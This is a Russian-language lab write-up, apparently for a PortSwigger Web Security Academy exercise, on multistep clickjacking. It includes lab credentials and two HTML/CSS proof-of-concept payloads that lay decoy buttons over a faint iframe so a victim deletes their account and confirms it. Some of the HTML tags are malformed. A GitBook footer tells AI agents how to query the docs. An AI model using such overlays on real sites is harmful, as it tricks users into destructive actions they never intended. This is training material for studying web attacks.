> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/clickjacking/multistep-clickjacking.md).

# Многошаговый кликджекинг

### Многошаговый кликджекинг

**Цель:** заставьте пользователя нажать кнопку Удалить аккаунт, а затем подтвердить диалог подтверждения, последовательно щёлкнув по двум приманкам: **"Сначала кликни меня"** затем **"Кликни меня потом"**.

**Учетные данные для подключения к аккаунту (лабораторная работа):** `wiener:peter`

* Страница содержит **удалить аккаунт** кнопку, за которой следует окно подтверждения ("Вы уверены?") — поэтому вам нужно выполнить два последовательных действия.

<figure><img src="/files/3886d3cb101dfe4ed93d0bf35f40920f54faa990" alt=""><figcaption></figcaption></figure>

* Идея состоит в том, чтобы наложить две кликабельные области (приманки div) поверх `iframe` указывающий на `/my-account` страницы: первая цель — **Удалить учетную запись** кнопка, вторая цель — появляющаяся затем кнопка подтверждения.

<figure><img src="/files/29bdd2186bebafcc3fb14d820c005283920cd878" alt="" width="563"><figcaption></figcaption></figure>

* Мы делаем iframe полупрозрачным (или с низкой непрозрачностью), чтобы пользователь видел приманку, но на самом деле нажимал на элементы целевой страницы.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Сначала кликни меня</div>
<div class="next" Кликни меня потом</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/734a5768c7bacc7b417593b4eb034f43342315c9" alt="" width="429"><figcaption></figcaption></figure>

Код ниже позиционирует iframe, размещает две приманки и показывает вторую приманку только после щелчка по первой. `iframe` указывает на `/my-account` URL лаборатории

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Сначала кликни меня</div>
<div class="next">Кликни меня потом</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/28562a202332f899453532e06d8539ceb2b4e5de" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
